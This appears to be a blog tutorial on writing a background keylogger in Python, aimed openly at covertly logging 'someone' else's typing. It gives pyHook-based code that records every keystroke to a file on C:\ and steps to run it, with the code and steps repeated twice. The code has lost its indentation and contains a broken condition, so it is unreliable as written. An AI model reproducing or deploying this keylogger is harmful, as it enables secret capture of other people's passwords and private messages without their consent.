Make a key logger using Python Programming which runs in background.
Do you wanna key log someone so follow this tutorial:-
![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkYaEwvNhzC1HuxWOhMTRx10w0AMxowpi_8wXOjZ0JgAYMZ9jfSLejQH-7bjFTiWxSHCsLiC7KT9ZjkDTFK1k8E4FaVRTdFUZo7TNXjVrote03l10jhmNTqMoP3Lvg66p1QU2XmB0nWiCc/s640/Capture34.PNG)
PYTHON PROGRAMMING
![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnoZLsgW7xCin89OeGp1HDCH70iKw1NSOobpCxXXHYqplsVyYLZ_PsrHUTnUsLNg6zyb1PvAYpWyGQwJsyRXJViQoFOniWSGaFw5UO0ajHac7gAoLGbTawbGL6K3wi5_175yABw7oi30-o/s400/download+%25281%2529.jpg)
code:-
import win32api
import sys
import pythoncom, pyHook
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5:
sys.exit()
if event.Ascii != 0 or 8:
f = open ('c:\\output.txt', 'a')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = keylogs + '\n'
f.write(keylogs)
f.close()
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhV0-7mUGeor454lsitkVy2IwVbgKU8VsVi1OhoeahroLRHOeDO4uzr5gNPv0JNsqQ9KDLVKN5X2i2pcR0X-UwOJzqzC9tAVXMZESG6danhFtLcIz0YqLmIBpH2nJBlqD0PlsUBjRpPcozq/s320/Capture45.PNG)
1. From start menu select,” Python 2.7 > IDLE(Python GUI)”
2. Click “File > New window”
3. Now type the below code in Python window as the code written
4. Save the file in C:\ as Keylogger.py and click RUN( CTRL + R: the keylogger will come
started in the background and will run until the log file “C: \ output.txt” anything that will typed on the keyboard. )
PYTHON PROGRAMMING
![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnoZLsgW7xCin89OeGp1HDCH70iKw1NSOobpCxXXHYqplsVyYLZ_PsrHUTnUsLNg6zyb1PvAYpWyGQwJsyRXJViQoFOniWSGaFw5UO0ajHac7gAoLGbTawbGL6K3wi5_175yABw7oi30-o/s400/download+%25281%2529.jpg)
code:-
import win32api
import sys
import pythoncom, pyHook
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5:
sys.exit()
if event.Ascii != 0 or 8:
f = open ('c:\\output.txt', 'a')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = keylogs + '\n'
f.write(keylogs)
f.close()
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
1. From start menu select,” Python 2.7 > IDLE(Python GUI)”
2. Click “File > New window”
3. Now type the below code in Python window as the code written
4. Save the file in C:\ as Keylogger.py and click RUN( CTRL + R: the keylogger will come
started in the background and will run until the log file “C: \ output.txt” anything that will typed on the keyboard. )
Comments
Post a Comment